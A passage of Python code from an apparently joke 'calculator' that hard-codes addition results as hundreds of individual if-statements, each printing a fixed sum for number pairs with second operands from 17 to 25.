"+" and secondNum == 17 : print("21 + 17 = 38") if firstNum == 22 and sign == "+" and secondNum == 17 : print("22 + 17 = 39") if firstNum == 23 and sign == "+" and secondNum == 17 : print("23 + 17 = 40") if firstNum == 24 and sign == "+" and secondNum == 17 : print("24 + 17 = 41") if firstNum == 25 and sign == "+" and secondNum == 17 : print("25 + 17 = 42") if firstNum == 26 and sign == "+" and secondNum == 17 : print("26 + 17 = 43") if firstNum == 27 and sign == "+" and secondNum == 17 : print("27 + 17 = 44") if firstNum == 28 and sign == "+" and secondNum == 17 : print("28 + 17 = 45") if firstNum == 29 and sign == "+" and secondNum == 17 : print("29 + 17 = 46") if firstNum == 30 and sign == "+" and secondNum == 17 : print("30 + 17 = 47") if firstNum == 31 and sign == "+" and secondNum == 17 : print("31 + 17 = 48") if firstNum == 32 and sign == "+" and secondNum == 17 : print("32 + 17 = 49") if firstNum == 33 and sign == "+" and secondNum == 17 : print("33 + 17 = 50") if firstNum == 34 and sign == "+" and secondNum == 17 : print("34 + 17 = 51") if firstNum == 35 and sign == "+" and secondNum == 17 : print("35 + 17 = 52") if firstNum == 36 and sign == "+" and secondNum == 17 : print("36 + 17 = 53") if firstNum == 37 and sign == "+" and secondNum == 17 : print("37 + 17 = 54") if firstNum == 38 and sign == "+" and secondNum == 17 : print("38 + 17 = 55") if firstNum == 39 and sign == "+" and secondNum == 17 : print("39 + 17 = 56") if firstNum == 40 and sign == "+" and secondNum == 17 : print("40 + 17 = 57") if firstNum == 41 and sign == "+" and secondNum == 17 : print("41 + 17 = 58") if firstNum == 42 and sign == "+" and secondNum == 17 : print("42 + 17 = 59") if firstNum == 43 and sign == "+" and secondNum == 17 : print("43 + 17 = 60") if firstNum == 44 and sign == "+" and secondNum == 17 : print("44 + 17 = 61") if firstNum == 45 and sign == "+" and secondNum == 17 : print("45 + 17 = 62") if firstNum == 46 and sign == "+" and secondNum == 17 : print("46 + 17 = 63") if firstNum == 47 and sign == "+" and secondNum == 17 : print("47 + 17 = 64") if firstNum == 48 and sign == "+" and secondNum == 17 : print("48 + 17 = 65") if firstNum == 49 and sign == "+" and secondNum == 17 : print("49 + 17 = 66") if firstNum == 50 and sign == "+" and secondNum == 17 : print("50 + 17 = 67") if firstNum == 0 and sign == "+" and secondNum == 18 : print("0 + 18 = 18") if firstNum == 1 and sign == "+" and secondNum == 18 : print("1 + 18 = 19") if firstNum == 2 and sign == "+" and secondNum == 18 : print("2 + 18 = 20") if firstNum == 3 and sign == "+" and secondNum == 18 : print("3 + 18 = 21") if firstNum == 4 and sign == "+" and secondNum == 18 : print("4 + 18 = 22") if firstNum == 5 and sign == "+" and secondNum == 18 : print("5 + 18 = 23") if firstNum == 6 and sign == "+" and secondNum == 18 : print("6 + 18 = 24") if firstNum == 7 and sign == "+" and secondNum == 18 : print("7 + 18 = 25") if firstNum == 8 and sign == "+" and secondNum == 18 : print("8 + 18 = 26") if firstNum == 9 and sign == "+" and secondNum == 18 : print("9 + 18 = 27") if firstNum == 10 and sign == "+" and secondNum == 18 : print("10 + 18 = 28") if firstNum == 11 and sign == "+" and secondNum == 18 : print("11 + 18 = 29") if firstNum == 12 and sign == "+" and secondNum == 18 : print("12 + 18 = 30") if firstNum == 13 and sign == "+" and secondNum == 18 : print("13 + 18 = 31") if firstNum == 14 and sign == "+" and secondNum == 18 : print("14 + 18 = 32") if firstNum == 15 and sign == "+" and secondNum == 18 : print("15 + 18 = 33") if firstNum == 16 and sign == "+" and secondNum == 18 : print("16 + 18 = 34") if firstNum == 17 and sign == "+" and secondNum == 18 : print("17 + 18 = 35") if firstNum == 18 and sign == "+" and secondNum == 18 : print("18 + 18 = 36") if firstNum == 19 and sign == "+" and secondNum == 18 : print("19 + 18 = 37") if firstNum == 20 and sign == "+" and secondNum == 18 : print("20 + 18 = 38") if firstNum == 21 and sign == "+" and secondNum == 18 : print("21 + 18 = 39") if firstNum == 22 and sign == "+" and secondNum == 18 : print("22 + 18 = 40") if firstNum == 23 and sign == "+" and secondNum == 18 : print("23 + 18 = 41") if firstNum == 24 and sign == "+" and secondNum == 18 : print("24 + 18 = 42") if firstNum == 25 and sign == "+" and secondNum == 18 : print("25 + 18 = 43") if firstNum == 26 and sign == "+" and secondNum == 18 : print("26 + 18 = 44") if firstNum == 27 and sign == "+" and secondNum == 18 : print("27 + 18 = 45") if firstNum == 28 and sign == "+" and secondNum == 18 : print("28 + 18 = 46") if firstNum == 29 and sign == "+" and secondNum == 18 : print("29 + 18 = 47") if firstNum == 30 and sign == "+" and secondNum == 18 : print("30 + 18 = 48") if firstNum == 31 and sign == "+" and secondNum == 18 : print("31 + 18 = 49") if firstNum == 32 and sign == "+" and secondNum == 18 : print("32 + 18 = 50") if firstNum == 33 and sign == "+" and secondNum == 18 : print("33 + 18 = 51") if firstNum == 34 and sign == "+" and secondNum == 18 : print("34 + 18 = 52") if firstNum == 35 and sign == "+" and secondNum == 18 : print("35 + 18 = 53") if firstNum == 36 and sign == "+" and secondNum == 18 : print("36 + 18 = 54") if firstNum == 37 and sign == "+" and secondNum == 18 : print("37 + 18 = 55") if firstNum == 38 and sign == "+" and secondNum == 18 : print("38 + 18 = 56") if firstNum == 39 and sign == "+" and secondNum == 18 : print("39 + 18 = 57") if firstNum == 40 and sign == "+" and secondNum == 18 : print("40 + 18 = 58") if firstNum == 41 and sign == "+" and secondNum == 18 : print("41 + 18 = 59") if firstNum == 42 and sign == "+" and secondNum == 18 : print("42 + 18 = 60") if firstNum == 43 and sign == "+" and secondNum == 18 : print("43 + 18 = 61") if firstNum == 44 and sign == "+" and secondNum == 18 : print("44 + 18 = 62") if firstNum == 45 and sign == "+" and secondNum == 18 : print("45 + 18 = 63") if firstNum == 46 and sign == "+" and secondNum == 18 : print("46 + 18 = 64") if firstNum == 47 and sign == "+" and secondNum == 18 : print("47 + 18 = 65") if firstNum == 48 and sign == "+" and secondNum == 18 : print("48 + 18 = 66") if firstNum == 49 and sign == "+" and secondNum == 18 : print("49 + 18 = 67") if firstNum == 50 and sign == "+" and secondNum == 18 : print("50 + 18 = 68") if firstNum == 0 and sign == "+" and secondNum == 19 : print("0 + 19 = 19") if firstNum == 1 and sign == "+" and secondNum == 19 : print("1 + 19 = 20") if firstNum == 2 and sign == "+" and secondNum == 19 : print("2 + 19 = 21") if firstNum == 3 and sign == "+" and secondNum == 19 : print("3 + 19 = 22") if firstNum == 4 and sign == "+" and secondNum == 19 : print("4 + 19 = 23") if firstNum == 5 and sign == "+" and secondNum == 19 : print("5 + 19 = 24") if firstNum == 6 and sign == "+" and secondNum == 19 : print("6 + 19 = 25") if firstNum == 7 and sign == "+" and secondNum == 19 : print("7 + 19 = 26") if firstNum == 8 and sign == "+" and secondNum == 19 : print("8 + 19 = 27") if firstNum == 9 and sign == "+" and secondNum == 19 : print("9 + 19 = 28") if firstNum == 10 and sign == "+" and secondNum == 19 : print("10 + 19 = 29") if firstNum == 11 and sign == "+" and secondNum == 19 : print("11 + 19 = 30") if firstNum == 12 and sign == "+" and secondNum == 19 : print("12 + 19 = 31") if firstNum == 13 and sign == "+" and secondNum == 19 : print("13 + 19 = 32") if firstNum == 14 and sign == "+" and secondNum == 19 : print("14 + 19 = 33") if firstNum == 15 and sign == "+" and secondNum == 19 : print("15 + 19 = 34") if firstNum == 16 and sign == "+" and secondNum == 19 : print("16 + 19 = 35") if firstNum == 17 and sign == "+" and secondNum == 19 : print("17 + 19 = 36") if firstNum == 18 and sign == "+" and secondNum == 19 : print("18 + 19 = 37") if firstNum == 19 and sign == "+" and secondNum == 19 : print("19 + 19 = 38") if firstNum == 20 and sign == "+" and secondNum == 19 : print("20 + 19 = 39") if firstNum == 21 and sign == "+" and secondNum == 19 : print("21 + 19 = 40") if firstNum == 22 and sign == "+" and secondNum == 19 : print("22 + 19 = 41") if firstNum == 23 and sign == "+" and secondNum == 19 : print("23 + 19 = 42") if firstNum == 24 and sign == "+" and secondNum == 19 : print("24 + 19 = 43") if firstNum == 25 and sign == "+" and secondNum == 19 : print("25 + 19 = 44") if firstNum == 26 and sign == "+" and secondNum == 19 : print("26 + 19 = 45") if firstNum == 27 and sign == "+" and secondNum == 19 : print("27 + 19 = 46") if firstNum == 28 and sign == "+" and secondNum == 19 : print("28 + 19 = 47") if firstNum == 29 and sign == "+" and secondNum == 19 : print("29 + 19 = 48") if firstNum == 30 and sign == "+" and secondNum == 19 : print("30 + 19 = 49") if firstNum == 31 and sign == "+" and secondNum == 19 : print("31 + 19 = 50") if firstNum == 32 and sign == "+" and secondNum == 19 : print("32 + 19 = 51") if firstNum == 33 and sign == "+" and secondNum == 19 : print("33 + 19 = 52") if firstNum == 34 and sign == "+" and secondNum == 19 : print("34 + 19 = 53") if firstNum == 35 and sign == "+" and secondNum == 19 : print("35 + 19 = 54") if firstNum == 36 and sign == "+" and secondNum == 19 : print("36 + 19 = 55") if firstNum == 37 and sign == "+" and secondNum == 19 : print("37 + 19 = 56") if firstNum == 38 and sign == "+" and secondNum == 19 : print("38 + 19 = 57") if firstNum == 39 and sign == "+" and secondNum == 19 : print("39 + 19 = 58") if firstNum == 40 and sign == "+" and secondNum == 19 : print("40 + 19 = 59") if firstNum == 41 and sign == "+" and secondNum == 19 : print("41 + 19 = 60") if firstNum == 42 and sign == "+" and secondNum == 19 : print("42 + 19 = 61") if firstNum == 43 and sign == "+" and secondNum == 19 : print("43 + 19 = 62") if firstNum == 44 and sign == "+" and secondNum == 19 : print("44 + 19 = 63") if firstNum == 45 and sign == "+" and secondNum == 19 : print("45 + 19 = 64") if firstNum == 46 and sign == "+" and secondNum == 19 : print("46 + 19 = 65") if firstNum == 47 and sign == "+" and secondNum == 19 : print("47 + 19 = 66") if firstNum == 48 and sign == "+" and secondNum == 19 : print("48 + 19 = 67") if firstNum == 49 and sign == "+" and secondNum == 19 : print("49 + 19 = 68") if firstNum == 50 and sign == "+" and secondNum == 19 : print("50 + 19 = 69") if firstNum == 0 and sign == "+" and secondNum == 20 : print("0 + 20 = 20") if firstNum == 1 and sign == "+" and secondNum == 20 : print("1 + 20 = 21") if firstNum == 2 and sign == "+" and secondNum == 20 : print("2 + 20 = 22") if firstNum == 3 and sign == "+" and secondNum == 20 : print("3 + 20 = 23") if firstNum == 4 and sign == "+" and secondNum == 20 : print("4 + 20 = 24") if firstNum == 5 and sign == "+" and secondNum == 20 : print("5 + 20 = 25") if firstNum == 6 and sign == "+" and secondNum == 20 : print("6 + 20 = 26") if firstNum == 7 and sign == "+" and secondNum == 20 : print("7 + 20 = 27") if firstNum == 8 and sign == "+" and secondNum == 20 : print("8 + 20 = 28") if firstNum == 9 and sign == "+" and secondNum == 20 : print("9 + 20 = 29") if firstNum == 10 and sign == "+" and secondNum == 20 : print("10 + 20 = 30") if firstNum == 11 and sign == "+" and secondNum == 20 : print("11 + 20 = 31") if firstNum == 12 and sign == "+" and secondNum == 20 : print("12 + 20 = 32") if firstNum == 13 and sign == "+" and secondNum == 20 : print("13 + 20 = 33") if firstNum == 14 and sign == "+" and secondNum == 20 : print("14 + 20 = 34") if firstNum == 15 and sign == "+" and secondNum == 20 : print("15 + 20 = 35") if firstNum == 16 and sign == "+" and secondNum == 20 : print("16 + 20 = 36") if firstNum == 17 and sign == "+" and secondNum == 20 : print("17 + 20 = 37") if firstNum == 18 and sign == "+" and secondNum == 20 : print("18 + 20 = 38") if firstNum == 19 and sign == "+" and secondNum == 20 : print("19 + 20 = 39") if firstNum == 20 and sign == "+" and secondNum == 20 : print("20 + 20 = 40") if firstNum == 21 and sign == "+" and secondNum == 20 : print("21 + 20 = 41") if firstNum == 22 and sign == "+" and secondNum == 20 : print("22 + 20 = 42") if firstNum == 23 and sign == "+" and secondNum == 20 : print("23 + 20 = 43") if firstNum == 24 and sign == "+" and secondNum == 20 : print("24 + 20 = 44") if firstNum == 25 and sign == "+" and secondNum == 20 : print("25 + 20 = 45") if firstNum == 26 and sign == "+" and secondNum == 20 : print("26 + 20 = 46") if firstNum == 27 and sign == "+" and secondNum == 20 : print("27 + 20 = 47") if firstNum == 28 and sign == "+" and secondNum == 20 : print("28 + 20 = 48") if firstNum == 29 and sign == "+" and secondNum == 20 : print("29 + 20 = 49") if firstNum == 30 and sign == "+" and secondNum == 20 : print("30 + 20 = 50") if firstNum == 31 and sign == "+" and secondNum == 20 : print("31 + 20 = 51") if firstNum == 32 and sign == "+" and secondNum == 20 : print("32 + 20 = 52") if firstNum == 33 and sign == "+" and secondNum == 20 : print("33 + 20 = 53") if firstNum == 34 and sign == "+" and secondNum == 20 : print("34 + 20 = 54") if firstNum == 35 and sign == "+" and secondNum == 20 : print("35 + 20 = 55") if firstNum == 36 and sign == "+" and secondNum == 20 : print("36 + 20 = 56") if firstNum == 37 and sign == "+" and secondNum == 20 : print("37 + 20 = 57") if firstNum == 38 and sign == "+" and secondNum == 20 : print("38 + 20 = 58") if firstNum == 39 and sign == "+" and secondNum == 20 : print("39 + 20 = 59") if firstNum == 40 and sign == "+" and secondNum == 20 : print("40 + 20 = 60") if firstNum == 41 and sign == "+" and secondNum == 20 : print("41 + 20 = 61") if firstNum == 42 and sign == "+" and secondNum == 20 : print("42 + 20 = 62") if firstNum == 43 and sign == "+" and secondNum == 20 : print("43 + 20 = 63") if firstNum == 44 and sign == "+" and secondNum == 20 : print("44 + 20 = 64") if firstNum == 45 and sign == "+" and secondNum == 20 : print("45 + 20 = 65") if firstNum == 46 and sign == "+" and secondNum == 20 : print("46 + 20 = 66") if firstNum == 47 and sign == "+" and secondNum == 20 : print("47 + 20 = 67") if firstNum == 48 and sign == "+" and secondNum == 20 : print("48 + 20 = 68") if firstNum == 49 and sign == "+" and secondNum == 20 : print("49 + 20 = 69") if firstNum == 50 and sign == "+" and secondNum == 20 : print("50 + 20 = 70") if firstNum == 0 and sign == "+" and secondNum == 21 : print("0 + 21 = 21") if firstNum == 1 and sign == "+" and secondNum == 21 : print("1 + 21 = 22") if firstNum == 2 and sign == "+" and secondNum == 21 : print("2 + 21 = 23") if firstNum == 3 and sign == "+" and secondNum == 21 : print("3 + 21 = 24") if firstNum == 4 and sign == "+" and secondNum == 21 : print("4 + 21 = 25") if firstNum == 5 and sign == "+" and secondNum == 21 : print("5 + 21 = 26") if firstNum == 6 and sign == "+" and secondNum == 21 : print("6 + 21 = 27") if firstNum == 7 and sign == "+" and secondNum == 21 : print("7 + 21 = 28") if firstNum == 8 and sign == "+" and secondNum == 21 : print("8 + 21 = 29") if firstNum == 9 and sign == "+" and secondNum == 21 : print("9 + 21 = 30") if firstNum == 10 and sign == "+" and secondNum == 21 : print("10 + 21 = 31") if firstNum == 11 and sign == "+" and secondNum == 21 : print("11 + 21 = 32") if firstNum == 12 and sign == "+" and secondNum == 21 : print("12 + 21 = 33") if firstNum == 13 and sign == "+" and secondNum == 21 : print("13 + 21 = 34") if firstNum == 14 and sign == "+" and secondNum == 21 : print("14 + 21 = 35") if firstNum == 15 and sign == "+" and secondNum == 21 : print("15 + 21 = 36") if firstNum == 16 and sign == "+" and secondNum == 21 : print("16 + 21 = 37") if firstNum == 17 and sign == "+" and secondNum == 21 : print("17 + 21 = 38") if firstNum == 18 and sign == "+" and secondNum == 21 : print("18 + 21 = 39") if firstNum == 19 and sign == "+" and secondNum == 21 : print("19 + 21 = 40") if firstNum == 20 and sign == "+" and secondNum == 21 : print("20 + 21 = 41") if firstNum == 21 and sign == "+" and secondNum == 21 : print("21 + 21 = 42") if firstNum == 22 and sign == "+" and secondNum == 21 : print("22 + 21 = 43") if firstNum == 23 and sign == "+" and secondNum == 21 : print("23 + 21 = 44") if firstNum == 24 and sign == "+" and secondNum == 21 : print("24 + 21 = 45") if firstNum == 25 and sign == "+" and secondNum == 21 : print("25 + 21 = 46") if firstNum == 26 and sign == "+" and secondNum == 21 : print("26 + 21 = 47") if firstNum == 27 and sign == "+" and secondNum == 21 : print("27 + 21 = 48") if firstNum == 28 and sign == "+" and secondNum == 21 : print("28 + 21 = 49") if firstNum == 29 and sign == "+" and secondNum == 21 : print("29 + 21 = 50") if firstNum == 30 and sign == "+" and secondNum == 21 : print("30 + 21 = 51") if firstNum == 31 and sign == "+" and secondNum == 21 : print("31 + 21 = 52") if firstNum == 32 and sign == "+" and secondNum == 21 : print("32 + 21 = 53") if firstNum == 33 and sign == "+" and secondNum == 21 : print("33 + 21 = 54") if firstNum == 34 and sign == "+" and secondNum == 21 : print("34 + 21 = 55") if firstNum == 35 and sign == "+" and secondNum == 21 : print("35 + 21 = 56") if firstNum == 36 and sign == "+" and secondNum == 21 : print("36 + 21 = 57") if firstNum == 37 and sign == "+" and secondNum == 21 : print("37 + 21 = 58") if firstNum == 38 and sign == "+" and secondNum == 21 : print("38 + 21 = 59") if firstNum == 39 and sign == "+" and secondNum == 21 : print("39 + 21 = 60") if firstNum == 40 and sign == "+" and secondNum == 21 : print("40 + 21 = 61") if firstNum == 41 and sign == "+" and secondNum == 21 : print("41 + 21 = 62") if firstNum == 42 and sign == "+" and secondNum == 21 : print("42 + 21 = 63") if firstNum == 43 and sign == "+" and secondNum == 21 : print("43 + 21 = 64") if firstNum == 44 and sign == "+" and secondNum == 21 : print("44 + 21 = 65") if firstNum == 45 and sign == "+" and secondNum == 21 : print("45 + 21 = 66") if firstNum == 46 and sign == "+" and secondNum == 21 : print("46 + 21 = 67") if firstNum == 47 and sign == "+" and secondNum == 21 : print("47 + 21 = 68") if firstNum == 48 and sign == "+" and secondNum == 21 : print("48 + 21 = 69") if firstNum == 49 and sign == "+" and secondNum == 21 : print("49 + 21 = 70") if firstNum == 50 and sign == "+" and secondNum == 21 : print("50 + 21 = 71") if firstNum == 0 and sign == "+" and secondNum == 22 : print("0 + 22 = 22") if firstNum == 1 and sign == "+" and secondNum == 22 : print("1 + 22 = 23") if firstNum == 2 and sign == "+" and secondNum == 22 : print("2 + 22 = 24") if firstNum == 3 and sign == "+" and secondNum == 22 : print("3 + 22 = 25") if firstNum == 4 and sign == "+" and secondNum == 22 : print("4 + 22 = 26") if firstNum == 5 and sign == "+" and secondNum == 22 : print("5 + 22 = 27") if firstNum == 6 and sign == "+" and secondNum == 22 : print("6 + 22 = 28") if firstNum == 7 and sign == "+" and secondNum == 22 : print("7 + 22 = 29") if firstNum == 8 and sign == "+" and secondNum == 22 : print("8 + 22 = 30") if firstNum == 9 and sign == "+" and secondNum == 22 : print("9 + 22 = 31") if firstNum == 10 and sign == "+" and secondNum == 22 : print("10 + 22 = 32") if firstNum == 11 and sign == "+" and secondNum == 22 : print("11 + 22 = 33") if firstNum == 12 and sign == "+" and secondNum == 22 : print("12 + 22 = 34") if firstNum == 13 and sign == "+" and secondNum == 22 : print("13 + 22 = 35") if firstNum == 14 and sign == "+" and secondNum == 22 : print("14 + 22 = 36") if firstNum == 15 and sign == "+" and secondNum == 22 : print("15 + 22 = 37") if firstNum == 16 and sign == "+" and secondNum == 22 : print("16 + 22 = 38") if firstNum == 17 and sign == "+" and secondNum == 22 : print("17 + 22 = 39") if firstNum == 18 and sign == "+" and secondNum == 22 : print("18 + 22 = 40") if firstNum == 19 and sign == "+" and secondNum == 22 : print("19 + 22 = 41") if firstNum == 20 and sign == "+" and secondNum == 22 : print("20 + 22 = 42") if firstNum == 21 and sign == "+" and secondNum == 22 : print("21 + 22 = 43") if firstNum == 22 and sign == "+" and secondNum == 22 : print("22 + 22 = 44") if firstNum == 23 and sign == "+" and secondNum == 22 : print("23 + 22 = 45") if firstNum == 24 and sign == "+" and secondNum == 22 : print("24 + 22 = 46") if firstNum == 25 and sign == "+" and secondNum == 22 : print("25 + 22 = 47") if firstNum == 26 and sign == "+" and secondNum == 22 : print("26 + 22 = 48") if firstNum == 27 and sign == "+" and secondNum == 22 : print("27 + 22 = 49") if firstNum == 28 and sign == "+" and secondNum == 22 : print("28 + 22 = 50") if firstNum == 29 and sign == "+" and secondNum == 22 : print("29 + 22 = 51") if firstNum == 30 and sign == "+" and secondNum == 22 : print("30 + 22 = 52") if firstNum == 31 and sign == "+" and secondNum == 22 : print("31 + 22 = 53") if firstNum == 32 and sign == "+" and secondNum == 22 : print("32 + 22 = 54") if firstNum == 33 and sign == "+" and secondNum == 22 : print("33 + 22 = 55") if firstNum == 34 and sign == "+" and secondNum == 22 : print("34 + 22 = 56") if firstNum == 35 and sign == "+" and secondNum == 22 : print("35 + 22 = 57") if firstNum == 36 and sign == "+" and secondNum == 22 : print("36 + 22 = 58") if firstNum == 37 and sign == "+" and secondNum == 22 : print("37 + 22 = 59") if firstNum == 38 and sign == "+" and secondNum == 22 : print("38 + 22 = 60") if firstNum == 39 and sign == "+" and secondNum == 22 : print("39 + 22 = 61") if firstNum == 40 and sign == "+" and secondNum == 22 : print("40 + 22 = 62") if firstNum == 41 and sign == "+" and secondNum == 22 : print("41 + 22 = 63") if firstNum == 42 and sign == "+" and secondNum == 22 : print("42 + 22 = 64") if firstNum == 43 and sign == "+" and secondNum == 22 : print("43 + 22 = 65") if firstNum == 44 and sign == "+" and secondNum == 22 : print("44 + 22 = 66") if firstNum == 45 and sign == "+" and secondNum == 22 : print("45 + 22 = 67") if firstNum == 46 and sign == "+" and secondNum == 22 : print("46 + 22 = 68") if firstNum == 47 and sign == "+" and secondNum == 22 : print("47 + 22 = 69") if firstNum == 48 and sign == "+" and secondNum == 22 : print("48 + 22 = 70") if firstNum == 49 and sign == "+" and secondNum == 22 : print("49 + 22 = 71") if firstNum == 50 and sign == "+" and secondNum == 22 : print("50 + 22 = 72") if firstNum == 0 and sign == "+" and secondNum == 23 : print("0 + 23 = 23") if firstNum == 1 and sign == "+" and secondNum == 23 : print("1 + 23 = 24") if firstNum == 2 and sign == "+" and secondNum == 23 : print("2 + 23 = 25") if firstNum == 3 and sign == "+" and secondNum == 23 : print("3 + 23 = 26") if firstNum == 4 and sign == "+" and secondNum == 23 : print("4 + 23 = 27") if firstNum == 5 and sign == "+" and secondNum == 23 : print("5 + 23 = 28") if firstNum == 6 and sign == "+" and secondNum == 23 : print("6 + 23 = 29") if firstNum == 7 and sign == "+" and secondNum == 23 : print("7 + 23 = 30") if firstNum == 8 and sign == "+" and secondNum == 23 : print("8 + 23 = 31") if firstNum == 9 and sign == "+" and secondNum == 23 : print("9 + 23 = 32") if firstNum == 10 and sign == "+" and secondNum == 23 : print("10 + 23 = 33") if firstNum == 11 and sign == "+" and secondNum == 23 : print("11 + 23 = 34") if firstNum == 12 and sign == "+" and secondNum == 23 : print("12 + 23 = 35") if firstNum == 13 and sign == "+" and secondNum == 23 : print("13 + 23 = 36") if firstNum == 14 and sign == "+" and secondNum == 23 : print("14 + 23 = 37") if firstNum == 15 and sign == "+" and secondNum == 23 : print("15 + 23 = 38") if firstNum == 16 and sign == "+" and secondNum == 23 : print("16 + 23 = 39") if firstNum == 17 and sign == "+" and secondNum == 23 : print("17 + 23 = 40") if firstNum == 18 and sign == "+" and secondNum == 23 : print("18 + 23 = 41") if firstNum == 19 and sign == "+" and secondNum == 23 : print("19 + 23 = 42") if firstNum == 20 and sign == "+" and secondNum == 23 : print("20 + 23 = 43") if firstNum == 21 and sign == "+" and secondNum == 23 : print("21 + 23 = 44") if firstNum == 22 and sign == "+" and secondNum == 23 : print("22 + 23 = 45") if firstNum == 23 and sign == "+" and secondNum == 23 : print("23 + 23 = 46") if firstNum == 24 and sign == "+" and secondNum == 23 : print("24 + 23 = 47") if firstNum == 25 and sign == "+" and secondNum == 23 : print("25 + 23 = 48") if firstNum == 26 and sign == "+" and secondNum == 23 : print("26 + 23 = 49") if firstNum == 27 and sign == "+" and secondNum == 23 : print("27 + 23 = 50") if firstNum == 28 and sign == "+" and secondNum == 23 : print("28 + 23 = 51") if firstNum == 29 and sign == "+" and secondNum == 23 : print("29 + 23 = 52") if firstNum == 30 and sign == "+" and secondNum == 23 : print("30 + 23 = 53") if firstNum == 31 and sign == "+" and secondNum == 23 : print("31 + 23 = 54") if firstNum == 32 and sign == "+" and secondNum == 23 : print("32 + 23 = 55") if firstNum == 33 and sign == "+" and secondNum == 23 : print("33 + 23 = 56") if firstNum == 34 and sign == "+" and secondNum == 23 : print("34 + 23 = 57") if firstNum == 35 and sign == "+" and secondNum == 23 : print("35 + 23 = 58") if firstNum == 36 and sign == "+" and secondNum == 23 : print("36 + 23 = 59") if firstNum == 37 and sign == "+" and secondNum == 23 : print("37 + 23 = 60") if firstNum == 38 and sign == "+" and secondNum == 23 : print("38 + 23 = 61") if firstNum == 39 and sign == "+" and secondNum == 23 : print("39 + 23 = 62") if firstNum == 40 and sign == "+" and secondNum == 23 : print("40 + 23 = 63") if firstNum == 41 and sign == "+" and secondNum == 23 : print("41 + 23 = 64") if firstNum == 42 and sign == "+" and secondNum == 23 : print("42 + 23 = 65") if firstNum == 43 and sign == "+" and secondNum == 23 : print("43 + 23 = 66") if firstNum == 44 and sign == "+" and secondNum == 23 : print("44 + 23 = 67") if firstNum == 45 and sign == "+" and secondNum == 23 : print("45 + 23 = 68") if firstNum == 46 and sign == "+" and secondNum == 23 : print("46 + 23 = 69") if firstNum == 47 and sign == "+" and secondNum == 23 : print("47 + 23 = 70") if firstNum == 48 and sign == "+" and secondNum == 23 : print("48 + 23 = 71") if firstNum == 49 and sign == "+" and secondNum == 23 : print("49 + 23 = 72") if firstNum == 50 and sign == "+" and secondNum == 23 : print("50 + 23 = 73") if firstNum == 0 and sign == "+" and secondNum == 24 : print("0 + 24 = 24") if firstNum == 1 and sign == "+" and secondNum == 24 : print("1 + 24 = 25") if firstNum == 2 and sign == "+" and secondNum == 24 : print("2 + 24 = 26") if firstNum == 3 and sign == "+" and secondNum == 24 : print("3 + 24 = 27") if firstNum == 4 and sign == "+" and secondNum == 24 : print("4 + 24 = 28") if firstNum == 5 and sign == "+" and secondNum == 24 : print("5 + 24 = 29") if firstNum == 6 and sign == "+" and secondNum == 24 : print("6 + 24 = 30") if firstNum == 7 and sign == "+" and secondNum == 24 : print("7 + 24 = 31") if firstNum == 8 and sign == "+" and secondNum == 24 : print("8 + 24 = 32") if firstNum == 9 and sign == "+" and secondNum == 24 : print("9 + 24 = 33") if firstNum == 10 and sign == "+" and secondNum == 24 : print("10 + 24 = 34") if firstNum == 11 and sign == "+" and secondNum == 24 : print("11 + 24 = 35") if firstNum == 12 and sign == "+" and secondNum == 24 : print("12 + 24 = 36") if firstNum == 13 and sign == "+" and secondNum == 24 : print("13 + 24 = 37") if firstNum == 14 and sign == "+" and secondNum == 24 : print("14 + 24 = 38") if firstNum == 15 and sign == "+" and secondNum == 24 : print("15 + 24 = 39") if firstNum == 16 and sign == "+" and secondNum == 24 : print("16 + 24 = 40") if firstNum == 17 and sign == "+" and secondNum == 24 : print("17 + 24 = 41") if firstNum == 18 and sign == "+" and secondNum == 24 : print("18 + 24 = 42") if firstNum == 19 and sign == "+" and secondNum == 24 : print("19 + 24 = 43") if firstNum == 20 and sign == "+" and secondNum == 24 : print("20 + 24 = 44") if firstNum == 21 and sign == "+" and secondNum == 24 : print("21 + 24 = 45") if firstNum == 22 and sign == "+" and secondNum == 24 : print("22 + 24 = 46") if firstNum == 23 and sign == "+" and secondNum == 24 : print("23 + 24 = 47") if firstNum == 24 and sign == "+" and secondNum == 24 : print("24 + 24 = 48") if firstNum == 25 and sign == "+" and secondNum == 24 : print("25 + 24 = 49") if firstNum == 26 and sign == "+" and secondNum == 24 : print("26 + 24 = 50") if firstNum == 27 and sign == "+" and secondNum == 24 : print("27 + 24 = 51") if firstNum == 28 and sign == "+" and secondNum == 24 : print("28 + 24 = 52") if firstNum == 29 and sign == "+" and secondNum == 24 : print("29 + 24 = 53") if firstNum == 30 and sign == "+" and secondNum == 24 : print("30 + 24 = 54") if firstNum == 31 and sign == "+" and secondNum == 24 : print("31 + 24 = 55") if firstNum == 32 and sign == "+" and secondNum == 24 : print("32 + 24 = 56") if firstNum == 33 and sign == "+" and secondNum == 24 : print("33 + 24 = 57") if firstNum == 34 and sign == "+" and secondNum == 24 : print("34 + 24 = 58") if firstNum == 35 and sign == "+" and secondNum == 24 : print("35 + 24 = 59") if firstNum == 36 and sign == "+" and secondNum == 24 : print("36 + 24 = 60") if firstNum == 37 and sign == "+" and secondNum == 24 : print("37 + 24 = 61") if firstNum == 38 and sign == "+" and secondNum == 24 : print("38 + 24 = 62") if firstNum == 39 and sign == "+" and secondNum == 24 : print("39 + 24 = 63") if firstNum == 40 and sign == "+" and secondNum == 24 : print("40 + 24 = 64") if firstNum == 41 and sign == "+" and secondNum == 24 : print("41 + 24 = 65") if firstNum == 42 and sign == "+" and secondNum == 24 : print("42 + 24 = 66") if firstNum == 43 and sign == "+" and secondNum == 24 : print("43 + 24 = 67") if firstNum == 44 and sign == "+" and secondNum == 24 : print("44 + 24 = 68") if firstNum == 45 and sign == "+" and secondNum == 24 : print("45 + 24 = 69") if firstNum == 46 and sign == "+" and secondNum == 24 : print("46 + 24 = 70") if firstNum == 47 and sign == "+" and secondNum == 24 : print("47 + 24 = 71") if firstNum == 48 and sign == "+" and secondNum == 24 : print("48 + 24 = 72") if firstNum == 49 and sign == "+" and secondNum == 24 : print("49 + 24 = 73") if firstNum == 50 and sign == "+" and secondNum == 24 : print("50 + 24 = 74") if firstNum == 0 and sign == "+" and secondNum == 25 : print("0 + 25 = 25") if firstNum == 1 and sign == "+" and secondNum == 25 : print("1 + 25 = 26") if firstNum == 2 and sign == "+" and secondNum == 25 : print("2 + 25 = 27") if firstNum == 3 and sign == "+" and secondNum == 25 : print("3 + 25 = 28") if firstNum == 4 and sign == "+" and secondNum == 25 : print("4 + 25 = 29") if firstNum == 5 and sign == "+" and secondNum == 25 : print("5 + 25 = 30") if firstNum == 6 and sign == "+" and secondNum == 25 : print("6 + 25 = 31") if firstNum == 7 and sign == "+" and secondNum == 25 : print("7 + 25 = 32") if 